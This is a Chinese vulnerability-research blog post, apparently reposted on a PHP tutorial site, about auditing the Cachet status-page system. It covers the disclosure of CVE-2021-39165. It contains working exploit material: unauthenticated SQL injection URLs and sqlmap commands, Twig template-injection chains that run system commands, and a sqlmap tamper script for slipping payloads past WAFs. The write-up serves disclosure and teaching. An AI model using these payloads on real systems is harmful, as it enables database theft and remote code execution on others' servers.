IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅 -> 正文阅读

[PHP知识库]从一个Laravel SQL注入漏洞开始的Bug Bounty之旅

事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程。本文提到的漏洞《Cachet SQL注入漏洞(CVE-2021-39165)》已经修复,也请读者勿使用该漏洞进行未授权测试,否则作者不承担任何责任

0x01 故事的起源

一个百无聊赖的周日晚上,我在知识星球闲逛,发现有一个匿名用户一连向我提出了两个问题:

本来不是很想回答这两个问题,一是感觉比较基础,二是现在大部分人都卷Java去了,关注PHP的其实不多。不过我搜索了一下自己的星球,发现我的确没有讲过如何调试PHP代码,那么回答一下这个问题也未尝不可。

既然如此,我就打开自己常用的PHP IDE之一PHPStorm(另一款是VSCode),看了看硬盘里落满灰尘的PHP代码,要不就是几年前的版本要不就是没法做演示的非开源项目。如果要新写一篇教程,最好还是上网上找个新的CMS做演示。

于是我打开了Github,搜索“PHP”关键字,点进了PHP这个话题。PHP话题下有几类开源项目,一是一些PHP框架和库,排在前面的主要是Laravel、symfony、Yii、guzzle、PHPMailer、composer等;二是CMS和网站应用,排在前面的有matomo、nextcloud、monica、Cachet等;三是一些README和教学项目,比如awesome-php、DesignPatternsPHP等。

做演示自然选择开箱即用的第二类,于是我挑了一个功能常见且简单的Cachet。

当天晚上我自己搭建、调试、运行起了Cachet这个CMS,并写了一篇简单的教程发在星球里:

本来这个故事到此就结束了,但是不安分的我当时就在想,既然搭都搭起来了,那不如就对其做一遍审计吧。

0x02 Cachet代码审计

Cachet是一款基于Laravel框架开发的状态页面(Statuspage)系统。Statuspage是云平台流行后慢慢兴起的一类系统,作用是向外界展示当前自己各个服务是否在正常运行。国外很多大型互联网平台都有Statuspage,最著名的有 Github、Twitter、Facebook、Amazon AWS等。

Statuspage中占据领导地位的是Statuspage.io,隶属于Atlassian。但毕竟这是一个付费的系统,Cachet得益于自己开源的优势,也有不少拥趸,在Github上有12k多关注。

Cachet最新的稳定版本是2.3.18,基于Laravel 5.2开发,我将其拉下来安装好后开始审计。

经过验证,dev版本的代码可能有所差异(主要是后台getshell部分的POC利用链不一样),本文仅基于稳定版做审计。

Laravel框架的CMS审计,我主要关注下面几个点:

  • 网站路由

  • 控制器(app/Http/Controllers)

  • 中间件(app/Http/Middleware)

  • Model(app/Models)

  • 网站配置(config)

  • 第三方扩展(composer.json)

先从路由开始看起,以app/Http/Routes/StatusPageRoutes.php为例:

$router->group(['middleware'?=>?['web',?'ready',?'localize']],?function?(Registrar?$router)?{
????$router->get('/',?[
????????'as'???=>?'status-page',
????????'uses'?=>?'StatusPageController@showIndex',
????]);

????$router->get('incident/{incident}',?[
????????'as'???=>?'incident',
????????'uses'?=>?'StatusPageController@showIncident',
????]);

????$router->get('metrics/{metric}',?[
????????'as'???=>?'metrics',
????????'uses'?=>?'StatusPageController@getMetrics',
????]);

????$router->get('component/{component}/shield',?'StatusPageController@showComponentBadge');
});

其中可以看出的信息是:

  • 某个path所对应的Controller和方法

  • 整个模块使用的中间件

前者比较好理解,中间件的作用通常是做权限的校验、全局信息的提取等。这个route组合用了三个中间件web、ready和localize。我们可以在app/Http/Kernel.php找到这三个名字对应的中间件类,他们的作用是:

  • web是多个中间件的组合,作用主要是设置Cookie和session、校验csrf token等

  • ready用于检查当前CMS是否有初始化,如果没有,则跳到初始化的页面

  • localize主要用于根据请求中的Accept-Language来展示不同语言的页面

接着我会主要关注那些不校验权限的Controller(就是没有admin和auth中间件的Controller)。我关注到了app/Http/Controllers/Api/ComponentController.php的getComponents方法:

/**
??*?Get?all?components.
??*
??*?@return?\Illuminate\Http\JsonResponse
??*/
public?function?getComponents()
{
????if?(app(Guard::class)->check())?{
????????$components?=?Component::query();
????}?else?{
????????$components?=?Component::enabled();
????}

????$components->search(Binput::except(['sort',?'order',?'per_page']));

????if?($sortBy?=?Binput::get('sort'))?{
????????$direction?=?Binput::has('order')?&&?Binput::get('order')?==?'desc';

????????$components->sort($sortBy,?$direction);
????}

????$components?=?$components->paginate(Binput::get('per_page',?20));

????return?$this->paginator($components,?Request::instance());
}

其中有两个关键点:

  • $components->search(Binput::except(['sort', 'order', 'per_page']));

  • $components->sort($sortBy, $direction);

sort和search方法都不是Laravel自带的Model方法,这种情况一般是自定义的scope。scope是定义在Model中可以被重用的方法,他们都以scope开头。我们可以在app/Models/Traits/SortableTrait.php中找到scopeSort方法:

trait?SortableTrait
{
????/**
?????*?Adds?a?sort?scope.
?????*
?????*?@param?\Illuminate\Database\Eloquent\Builder?$query
?????*?@param?string????????????????????????????????$column
?????*?@param?string????????????????????????????????$direction
?????*
?????*?@return?\Illuminate\Database\Eloquent\Builder
?????*/
????public?function?scopeSort(Builder?$query,?$column,?$direction)
????{
????????if?(!in_array($column,?$this->sortable))?{
????????????return?$query;
????????}

????????return?$query->orderBy($column,?$direction);
????}
}

$column经过了in_array的校验,$direction传入的是bool类型,这两者均无法传入恶意参数。

我们再看看scopeSearch方法,在app/Models/Traits/SearchableTrait.php中:

<?php
trait?SearchableTrait
{
????/**
?????*?Adds?a?search?scope.
?????*
?????*?@param?\Illuminate\Database\Eloquent\Builder?$query
?????*?@param?array?????????????????????????????????$search
?????*
?????*?@return?\Illuminate\Database\Eloquent\Builder
?????*/
????public?function?scopeSearch(Builder?$query,?array?$search?=?[])
????{
????????if?(empty($search))?{
????????????return?$query;
????????}

????????if?(!array_intersect(array_keys($search),?$this->searchable))?{
????????????return?$query;
????????}

????????return?$query->where($search);
????}
}

Cachet在调用search时传入的是Binput::except(['sort', 'order', 'per_page']),这个返回值是将用户完整的GPC输入除掉sort、order、per_page三个key组成的数组。也就是说,传入scopeSearch的这个$search数组的键、值都是用户可控的。

不过,可见这里使用了array_intersect函数对$search数组进行判断,如果返回为false,则不会继续往下执行。

大概看了一圈Cachet的代码,没有太多功能点。总结起来它的特点是:

  • 有一部分代码逻辑在Controller中,但其还有大量逻辑放在CommandHandler中。

    • “Commands & Handlers”逻辑用于在Laravel中实现命令模式

    • 这个设计模式分割了输入和逻辑操作(Source和Sink),让代码审计变得麻烦了许多

  • 整站前台的功能很少,权限检查在中间件中,配置如下

    • 前台和API中的读取操作(GET)不需要用户权限

    • API中的写入操作(POST、PUT、DELETE)需要用户权限

    • 后台所有操作都需要用户权限

  • 一些特殊操作都会经过逻辑判断,比如上文说到的两个操作,作者相对比较有安全意识

  • Cachet默认使用Laravel-Binput做用户输入,而这个库对主要是用于做安全过滤,但这个过滤操作也为后面实战中绕过WAF提供了极大帮助

相信大家审计中经常会遇到类似情况,前台功能很少导致进展不下去,那么多看看框架部分的代码也许能发现一些问题。

遇到困难不要慌,去冰箱里拿了一瓶元气森林冷静冷静,重新回来看代码。回看前面的scopeSearch方法,我突然发现了问题:

if?(!array_intersect(array_keys($search),?$this->searchable))?{
????return?$query;
}

return?$query->where($search);

array_intersect这个函数,他的功能是计算两个输入数组的交集,乍一看这里处理好像经过了校验,用户输入的数组的key如果不在$this->searchable中,就无法取到交集。

但是可以想象一下,我的输入中只要有一个key在$this->searchable中,那么这里的交集就可以取到至少一个值,这个if语句就不会成立。所以,这个检查形同虚设,用户输入的数组$search被完整传入where()语句中。

0x03 Laravel代码审计

熟悉Laravel的同学对where()应该不陌生,简单介绍一下用法。我们可以通过传入两个参数key和value,来构造一个WHERE条件:

DB::table('dual')->where('id',?1);
//?生成的WHERE条件是:WHERE id = 1

如果传入的是三个参数,则第二个参数会认为是条件表达式中的符号,比如:

DB::table('dual')->where('id',?'>',?18);
//?生成的WHERE条件是:WHERE id > 18

当然where也是支持传入数组的,我看可以将多个条件组合成一个数组传入where函数中,比如:

DB::table('dual')->where([
????['id',?'>',?'18'],
????['title',?'LIKE',?'%example%']
]);
//?生成的WHERE条件是:WHERE id > 18 AND title LIKE '%example%'

那么,思考下面三个代码在Laravel中是否可能导致SQL注入:

  • where($input, '=', 1) 当where的第一个参数被用户控制

  • where('id', $input, 1) 当where的第二个参数被用户控制,且存在第三个参数

  • where($input) 当where只有一个参数且被用户控制

这三个代码对应着不同情况,第一种是key被控制,第二种是符号被控制,第三种是整个条件都被控制。

测试的过程就不说了,经过测试,我获取了下面的结果:

  • 当第一个参数key可控时,传入任意字符串都会报错,具体的错误为“unknown column”,但类似反引号、双引号这样的定界符将会被转义,所以无法逃逸出field字段进行注入

  • 当第二个参数符号可控时,输入非符号字符不会有任何报错,也不存在注入

  • 当整体可控时,相当于可以传入多个key、符号和value,但经过前两者的测试,key和符号位都是不能注入的,value就更不可能

仿佛又陷入了困境。

我尝试debug进入where()函数看了看它内部的实现,src/Illuminate/Database/Query/Builder.php

public?function?where($column,?$operator?=?null,?$value?=?null,?$boolean?=?'and')
{
????//?If?the?column?is?an?array,?we?will?assume?it?is?an?array?of?key-value?pairs
????//?and?can?add?them?each?as?a?where?clause.?We?will?maintain?the?boolean?we
????//?received?when?the?method?was?called?and?pass?it?into?the?nested?where.
????if?(is_array($column))?{
????????return?$this->addArrayOfWheres($column,?$boolean);
????}
????//?...
????//?If?the?given?operator?is?not?found?in?the?list?of?valid?operators?we?will
????//?assume?that?the?developer?is?just?short-cutting?the?'='?operators?and
????//?we?will?set?the?operators?to?'='?and?set?the?values?appropriately.
????if?(!?in_array(strtolower($operator),?$this->operators,?true)?&&
????????!?in_array(strtolower($operator),?$this->grammar->getOperators(),?true))?{
????????list($value,?$operator)?=?[$operator,?'='];
????}?

当第一个参数是数组时,将会执行到addArrayOfWheres()方法。另外从上面的第二个if语句也可以看出,这里面对参数$operator做了校验,这也是其无法注入的原因。

跟进一下addArrayOfWheres()方法:

protected?function?addArrayOfWheres($column,?$boolean,?$method?=?'where')
{
????return?$this->whereNested(function?($query)?use?($column,?$method)?{
????????foreach?($column?as?$key?=>?$value)?{
????????????if?(is_numeric($key)?&&?is_array($value))?{
????????????????call_user_func_array([$query,?$method],?$value);
????????????}?else?{
????????????????$query->$method($key,?'=',?$value);
????????????}
????????}
????},?$boolean);
}

public?function?whereNested(Closure?$callback,?$boolean?=?'and')
{
????$query?=?$this->forNestedWhere();

????call_user_func($callback,?$query);

????return?$this->addNestedWhereQuery($query,?$boolean);
}

可以观察到,这里面有个很重要的回调,遍历了用户输入的第一个数组参数$column,当发现其键名是一个数字,且键值是一个数组时,将会调用[$query, $method],也就是$this->where(),并将完整的$value数组作为参数列表传入。

这个过程就是为了实现上面说到的where()的第三种用法:

DB::table('dual')->where([????['id',?'>',?'18'],????['title',?'LIKE',?'%example%']]);

所以,通过这个方法,我可以做到了一件事情:从控制where()的第一个参数,到能够完整控制where()的所有参数

那么,再回看where函数的参数列表:

public?function?where($column,?$operator?=?null,?$value?=?null,?$boolean?=?'and')

第四个$boolean参数就格外显眼了,这是控制WHERE条件连接逻辑的参数,默认是and。这个$boolean既不是SQL语句中的“键”,也不是SQL语句中的“值”,而就是SQL语句的代码,如果没有校验,一定存在SQL注入。

事实证明,这里并没有经过校验。我将debug模式打开,并注释了抑制报错的逻辑,即可在页面上看到SQL注入的报错:

1[3]参数可以注入任何语句,所以这里存在一个SQL注入漏洞。而且因为这个API接口是GET请求,所以无需用户权限,这是一个无限制的前台SQL注入。

Laravel的这个数组特性可以类比于6年前我第一次发现的ThinkPHP3系列SQL注入。当时的ThinkPHP注入是我在乌云乃至安全圈站稳脚跟的一批漏洞,它开创了使用数组进行框架ORM注入的先河,其影响和其后续类似的漏洞也一直持续到今天。遗憾的是,Laravel的这个问题是出现在where()的第一个参数,官方并不认为这是框架的问题。

0x04 SQL注入利用

回到Cachet。默认情况下Cachet的任何报错都不会有详情,只会返回一个500错误。且Laravel不支持堆叠注入,那么要利用这个漏洞,就有两种方式:

  • 通过UNION SELECT注入直接获取数据

  • 通过BOOL盲注获取数据

UNION肯定是最理想的,但是这里无法使用,原因是用户的这个输入会经过两次字段数量不同的SQL语句,会导致其中至少有一个SQL语句在UNION SELECT的时候出错而退出。

Bool盲注没有任何问题,我本地是Postgres数据库,所以以其为例。

构造一个能够显示数据的请求:

http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+

将and 1=1修改为and 1=2,数据消失了:

http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+

说明盲注可以利用,于是我选择使用SQLMap来利用漏洞。SQLMap默认情况下将整个参数替换成SQL注入的Payload,而这个注入点需要前缀和后缀,需要对参数进行修改。

我先使用一个能够爆出数据的URL,比如/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+,在这个括号后面增加个星号,然后作为-u目标进行检测即可:

python?sqlmap.py?-u?"http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"

注入点被SQLMap识别了。因为表结构已经知道,成功获取用户、密码:

0x05 后台代码审计

这个注入漏洞的优势是无需用户权限,但劣势是无法堆叠执行,原因我在星球的这篇帖子里有介绍过(虽然帖子里说的是ThinkPHP)。主要是在初始化PDO的时候设置了PDO::ATTR_EMULATE_PREPARES为false,而数据库默认的参数化查询不允许prepare多个SQL语句。

无法堆叠执行的结果就是没法执行UPDATE语句,我只能通过注入获取一些信息,想要进一步执行代码,还需要继续审计。

接下来的审计我主要是在看后台逻辑,挖掘后台漏洞建议是黑盒结合白盒,这样会更快,原因是后台可能有很多常见的敏感操作,比如文件上传、编辑等,这些操作有时候可能直接抓包一改就能测出漏洞,都不需要代码审计了。

Cachet的后台还算相对安全,没有文件操作的逻辑,唯一一个上传逻辑是“Banner Image”的修改,但并不存在漏洞。

这时候我关注到了一个功能,Incident Templates,用于在报告事故的时候简化详情填写的操作。这个功能支持解析Twig模板语言:

对于Twig模板的解析是在API请求中,用API创建或编辑Incident对象的时候会使用到Incident Templates,进而执行模板引擎。

利用时需要现在Web后台添加一个Incident Template,填写好Twig模板,记下名字。再发送下面这个数据包来执行名为“ssti”的模板,获得结果:

POST?/api/v1/incidents?HTTP/1.1
Host:?localhost:8080
Accept-Encoding:?gzip,?deflate
Accept:?*/*
Accept-Language:?en
User-Agent:?Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/87.0.4280.88?Safari/537.36
Connection:?close
X-Cachet-Token:?QLGMRm5N8bUjVxbdLF6m
Content-Type:?application/x-www-form-urlencoded
Content-Length:?42

visible=0&status=1&name=demo&template=ssti

其中X-Cachet-Token是注入时获取的用户的API Key。我添加了一个内容是{{ 233 * 233 }}的Incident Template,渲染结果被成功返回在API的结果中:

Twig是PHP的一个著名的模板引擎,相比于其他语言的模板引擎,它提供了更安全的沙盒模式。默认模式下模板引擎没有特殊限制,而沙盒模式下只能使用白名单内的tag和filter。

Cachet中没有使用沙盒模式,所以我不做深入研究。普通模式想要执行恶意代码,需要借助一些内置的tag、filter,或者上下文中的危险对象。在Twig v1.41、v2.10和v3后,增加了mapfilter这两个filter,可以直接用来执行任意函数:

{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}

但是Cachet v2.3.18中使用的是v1.40.1,刚好不存在这两个filter。那么旧版本如何来利用呢?

PortSwigger曾在2015年发表过一篇模板注入的文章《Server-Side Template Injection》,里面介绍过当时的Twig模板注入方法:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

_self是Twig中的一个默认的上下文对象,指代的是当前Template,其中的env属性是一个Twig_Environment对象。Twig_Environment类的registerUndefinedFilterCallbackgetFilter就用来注册和执行回调函数,通过这两次调用,即可构造一个任意命令执行的利用链。

但是,这个执行命令的方法在Twig v1.20.0中被官方修复了:https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430,修复方法是发现object是当前对象时,则不进行属性的获取,下面这个if语句根本不会进去:

//?object?property
if?(self::METHOD_CALL?!==?$type?&&?!$object?instanceof?self)?{?//?Twig_Template?does?not?have?public?properties,?and?we?don't?want?to?allow?access?to?internal?ones
????if?(isset($object->$item)?||?array_key_exists((string)?$item,?$object))?{
????????if?($isDefinedTest)?{
????????????return?true;
????????}

????????if?($this->env->hasExtension('sandbox'))?{
????????????$this->env->getExtension('sandbox')->checkPropertyAllowed($object,?$item);
????????}

????????return?$object->$item;
????}
}

这个修改逻辑是科学的,因为Twig中正常只允许访问一个对象的public属性和方法,但因为_self指向的是$this,而$this可以访问父类的protected属性,所以才绕过了对作用域的限制,访问到了env。这个修复对此作了加强,让_self的表现和其他对象相同了。

另外,_self.getEnvironment()原本也可以访问env,这个修复也一起被干掉了。

Cachet使用rcrowe/twigbridge来将twig集成进Laravel框架,按照composer.lock中的版本号来肯定高于v1.20.0(实际是v1.40.1),也就是说,我也无法使用这个Payload做命令执行。

0x06 寻找Twig利用链与代码执行

Cachet中使用了下面这段代码来渲染Twig模板:

protected?function?parseIncidentTemplate($templateSlug,?$vars)
{
????if?($vars?===?null)?{
????????$vars?=?[];
????}

????$this->twig->setLoader(new?Twig_Loader_String());
????$template?=?IncidentTemplate::forSlug($templateSlug)->first();

????return?$this->twig->render($template->template,?$vars);
}

其中$vars是用户从POST中传入的一个数组,这意味着注入到模板中的变量只是简单的字符串数组,没有任何对象。再加上前文说到的_self对象也被限制了,我发现很难找到可以被利用的方法。

此时我关注到了rcrowe/twigbridge这个库。rcrowe/twigbridge用于在Laravel和Twig之间建立一个桥梁,让Laravel框架可以直接使用twig模板引擎。

根据Laravel的依赖注入、控制反转的设计模式,如果要实现“桥梁”的功能,那么就需要编写一个Service Provider,在Service Provider中对目标对象进行初始化,并放在容器中。

我在rcrowe/twigbridge的ServiceProvider中下了断点,捋了捋Twig初始化的过程,发现一个有趣的点:

baseTemplateClass不是默认的\Twig\Template,而是一个自定义的TwigBridge\Twig\TemplatebaseTemplateClass就是在模板中,_self指向的那个对象的基类,是一个很重要的类。

在src/Twig/Template.php中,我发现$context中有一个看起来很特殊的对象__env

/**
?*?{@inheritdoc}
?*/
public?function?display(array?$context,?array?$blocks?=?[])
{
????if?(!isset($context['__env']))?{
????????$context?=?$this->env->mergeShared($context);
????}

????if?($this->shouldFireEvents())?{
????????$context?=?$this->fireEvents($context);
????}

????parent::display($context,?$blocks);
}

在此处下断点可以看到,这个__env是一个\Illuminate\View\Factory对象,原来是Twig共享了Laravel原生View模板引擎中的全局变量。

那么,我们可以找找\Illuminate\View\Factory类中是否有危险属性和函数。\Illuminate\Events\Dispatcher是Factory类的属性,其中存在一对事件监听函数:

public?function?listen($events,?$listener,?$priority?=?0)
{
????foreach?((array)?$events?as?$event)?{
????????if?(Str::contains($event,?'*'))?{
????????????$this->setupWildcardListen($event,?$listener);
????????}?else?{
????????????$this->listeners[$event][$priority][]?=?$this->makeListener($listener);

????????????unset($this->sorted[$event]);
????????}
????}
}

public?function?fire($event,?$payload?=?[],?$halt?=?false)
{
????//?...
????
????foreach?($this->getListeners($event)?as?$listener)?{
????????$response?=?call_user_func_array($listener,?$payload);

它的限制主要是,回调函数必须是一个可以被自动创建与初始化的类方法,比如静态方法。我很快我找到了一对合适的回调\Symfony\Component\VarDumper\VarDumper,我们可以先调用setHandler将$handler设置成任意函数,再调用dump来执行:

class?VarDumper
{
????private?static?$handler;

????public?static?function?dump($var)
????{
????????//?...
????????return?call_user_func(self::$handler,?$var);
????}

????public?static?function?setHandler(callable?$callable?=?null)
????{
????????$prevHandler?=?self::$handler;
????????self::$handler?=?$callable;

????????return?$prevHandler;
????}
}

构造出的模板代码如下,成功执行任意命令:

{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}

除了__env外,上下文中还被注入了一个app变量,这是一个\Illuminate\Foundation\Application对象,它的利用链就更简单了,因为其中有一个函数可以直接用来执行任意代码:

public?function?call($callback,?array?$parameters?=?[],?$defaultMethod?=?null)
{
????if?($this->isCallableWithAtSign($callback)?||?$defaultMethod)?{
????????return?$this->callClass($callback,?$parameters,?$defaultMethod);
????}

????$dependencies?=?$this->getMethodDependencies($callback,?$parameters);

????return?call_user_func_array($callback,?$dependencies);
}

所以,我构造了一个模板代码来执行任意PHP函数,这个方法相对简单很多:

{{ app.call('md5', ['123456']) }}

至此,我又搞定了后台代码执行。两个漏洞组合起来,就可以成功拿下Cachet系统权限。

0x07 走向Bug Bounty

前面说过,国外大量大厂都会使用Statuspage,所以我跑了一下hackerone、bugcrowd中使用了Cachet系统的厂商:

不多,大部分厂商还是在用Statuspage.io。

在实战中,我遇到了一个比较棘手的问题,大量厂商使用了WAF,这让GET型的注入变得很麻烦。解决这个问题的方法还是回归到代码审计中,Cachet获取用户输入是使用graham-campbell/binput,我在前面审计的时候发现其在获取输入的基础上会做一次过滤:

public?function?get($key,?$default?=?null,?$trim?=?true,?$clean?=?true)
{
????$value?=?$this->request->input($key,?$default);

????return?$this->clean($value,?$trim,?$clean);
}

跟进clean()我发现这个库最终对用户的输入做了一次处理:

protected?function?process($str)
{
????$str?=?$this->removeInvisibleCharacters($str);
????//...
}

protected?function?removeInvisibleCharacters($str,?$urlEncoded?=?true)
{
????$nonDisplayables?=?[];

????if?($urlEncoded)?{
????????$nonDisplayables[]?=?'/%0[0-8bcef]/';
????????$nonDisplayables[]?=?'/%1[0-9a-f]/';
????}

????$nonDisplayables[]?=?'/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';

????do?{
????????$str?=?preg_replace($nonDisplayables,?'',?$str,?-1,?$count);
????}?while?($count);

????return?$str;
}

removeInvisibleCharacters()方法将输入中的所有控制字符给替换成空了。那么,这个特性可以用于绕过WAF。

正常的注入语句会被WAF拦截:

在关键字OR中间插入一个控制字符%01,即可绕过WAF正常注入了:

我写了一个简单的SQLMap Tamper来帮我进行这个处理:

#!/usr/bin/env?python

import?re
from?lib.core.enums?import?PRIORITY

__priority__?=?PRIORITY.LOWEST
KEYWORD_PATTERN?=?re.compile(r'\b[a-zA-Z]{2,}\b')

def?dependencies():
????pass

def?tamper(payload,?**kwargs):
????"""
????Add?%01?to?all?the?keyword

????>>>?tamper("1?AND?'1'='1")
????"1?A%01ND?'1'='1"
????"""

????payload_list?=?list(payload)
????offset?=?0
????for?g?in?KEYWORD_PATTERN.finditer(payload):
????????start?=?g.start()
????????end?=?g.end()
????????m?=?(start?+?end)?//?2

????????payload_list.insert(offset?+?m,?'%01')
????????offset?+=?1

????return?''.join(payload_list)

使用这个tamper:

python?sqlmap.py?-u?"https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+"?--tamper?addinvisiblechars.py?-A?"Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/87.0.4280.88?Safari/537.36"

简单提交了几个有Bug Bounty的厂商,均已得到了确认:

漏洞时间线

本文涉及的漏洞已经提交给Cachet官方,但是官方开发者不是很活跃,一直没有回应。在issue中找到了一个fork的厂商,相对比较活跃,也可以联系到维护人,于是以fork厂商的身份对漏洞进行了通报。

以下是漏洞的生命时间线:

  • Jul 19, 2021 - 漏洞发现

  • Jul 20, 2021 - SQL注入提交给Laravel官方,Laravel并不认为是自己的问题

  • Jul 19 ~ jul 30, 2021 - 对hakcerone、bugcrowd上的厂商进行测试,并提交漏洞

  • Jul 27, 2021 - 漏洞提交给Cachet官方和Fork的维护者

  • Jul 27, 2021 - 发现Fork的项目在此之前意外修复过这个漏洞

  • Aug 27, 2021, 01:36 AM GMT+8 - 漏洞公告发布,确认编号CVE-2021-39165

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-01 11:41:35  更:2021-09-01 11:43:23 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:17:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码